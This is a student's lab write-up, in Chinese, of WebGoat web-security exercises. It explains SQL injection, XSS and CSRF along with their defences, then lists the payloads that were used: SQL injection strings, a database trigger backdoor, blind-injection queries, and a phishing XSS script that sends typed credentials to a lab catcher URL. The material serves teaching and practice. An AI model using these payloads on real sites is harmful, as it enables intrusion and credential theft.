zoukankan      html  css  js  c++  java
  • 20145315何佳蕾《网络对抗》Web安全基础

    20145315何佳蕾《网络对抗》Web安全基础

    1.实验后回答问题

    (1)SQL注入攻击原理,如何防御

    • SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    • 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
    • 对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

    (2)XSS攻击的原理,如何防御

    • XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:Reflected XSS(基于反射的XSS攻击)、 Stored XSS(基于存储的XSS攻击)
      、 DOM-based or local XSS(基于DOM或本地的XSS攻击)
    • 过程 :攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击
    • 预防措施:
      1. 反射型:前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
      2. 存储型: 首要是服务端要进行过滤,因为前端的校验可以被绕过。当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。

    (3)CSRF攻击原理,如何防御

    • CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种, GET类型的CSRF和post类型的CSRF

    • 过程:攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击、

    • 目前主流的做法是使用Token抵御CSRF攻击

    2.实验总结与体会

     好玩!!!!!!!!
    

    但是我xss这块好像还有地方没有弄懂。。。好难,CSRF Token By-Pass做不出来,不知道怎么读token

    3.实践过程记录

    (1)string SQL injection

    • 注入Smith' or 1=1 --
    • SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1 --'
    • 把后面的引号注释掉,然后或一个永真式
    • 这个很简单嘛<( ̄ˇ ̄)/

    (2)Database backdoor

    • 第一步,写两个并列的语句来修改工资。

    • 注入101; update employee set Salary=100000 where userid=101

    • 语句变成了select userid, password, ssn, salary, email from employee where userid=101; update employee set Salary=100000 where userid=101

    • 第二步,通过这个方法,使用字符串SQL注入注入后门。

    • select userid, password, ssn, salary, email from employee where userid=101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = 101

    • CREATE TRIGGER创建触发器,for each row 是指每行受影响,触发器都执行,意思是employee中每插入一条,触发器就会执行把id为101的人邮件修改为john@hackme.com

    (3)Blind Numeric SQL Injection

    • 允许用户输入帐号并确定其有效与否
    • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
    • 输入上述语句,通过返回正确与否来猜测密码范围,二分法不断尝试,最终得到密码值为2364.
    • 看了提示才写出来的,我自己想不到(>_<)

    (4)Blind String SQL Injection

    • 字符型和上面数值型的一样,用二分法去试大小写一共52个字母
    • 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );
    • substring() 方法用于提取字符串中介于两个指定下标之间的字符,(SUBSTRING(string)1,1)表示字符串第一个字母的值。第一个1是表示第一个字符,第二个1表示从1开始数。
    • 最后得到name为Jill

    (5)Phishing with XSS

    • 写一个和官方的网页一样的html网页
    • 这个不能算我做的,我只是看懂了。。。web编程不会。
    </form>
    <script>
    function hack()
    { XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } </script>
    <form name="phish">
    <br><br><HR><H3>This feature requires account login:</H2><br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
    
    • 伪造网页,把获取的用户名和密码传给WebGoat/capture
    • name="login" value="login" onclick="hack()点击login后,执行hack(),获取用户名密码,并弹窗Had this been a real attack... Your credentials were just stolen. User Name ="你的用户名 " Password = "你的密码"

    (6)Stored XSS Attacks

    • 基于存储的xss攻击,把攻击者的数据存储在服务器端,攻击将伴随着攻击数据一直存在。
    • 在发送内容中填入脚本来进行攻击。
    • 弹窗Ha Ha Ha
    • 可以利用填入的脚本来盗取信息。
    • 攻击代码存储在服务器端,每次加载就会执行。

    (7)Reflected XSS Attacks

    • 基于反射的xss攻击
    • 攻击者可以制作一个URL攻击脚本发送到一个网站,或发送电子邮件,让受害者点击它。
    • 进而可以构造获取用户cookies的地址
    <script language="javascript" type="text/javascript">alert(document。cookei);</script>
    

    (8)Cross Site Request Forgery (CSRF)

    • 这个攻击是在邮件中 在 HTML 的图片标签里URL指向恶意请求。
    • 普通的标签定义图像
    • 攻击时,在stc里填写"Screen" 和 "menu",然后,附加一个资金转移的数值。
    • 如果在验证时受到这封邮件,会造成资金转移。

    (9)CSRF Prompt By-Pass

    • 在第八题的基础上,加上了第二个确认的命令,转移资金并确认。
    • transferFunds=CONFIRM

    (10)CSRF Token By-Pass

    • 如果网页上用token来防止CSRF攻击,服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。在页面表单附带上Token参数进行验证。

    • 重要的是获取用户token

    • 好吧,我做不出来
    • 我们换一个吧。。。

    (11)Numeric SQL Injection

    • 题目中网页只有选项,没有可以注入的地方
    • 按照周岐浩的教程启动BurpSuite,设置代理
    • 设置浏览器代理
    • 回到题目,任意选择一个选项发送。
    • 捕获一个包
    • 修改其中102为 102 or 1=1
    • 再发送修改过的包
    • 注入成功

    截图

  • 相关阅读:
    pipelinewise 学习二 创建一个简单的pipeline
    pipelinewise 学习一 docker方式安装
    Supercharging your ETL with Airflow and Singer
    ubuntu中使用 alien安装rpm包
    PipelineWise illustrates the power of Singer
    pipelinewise 基于singer 指南的的数据pipeline 工具
    关于singer elt 的几篇很不错的文章
    npkill 一个方便的npm 包清理工具
    kuma docker-compose 环境试用
    kuma 学习四 策略
  • 原文地址:https://www.cnblogs.com/5315hejialei/p/6854096.html
Copyright © 2011-2022 走看看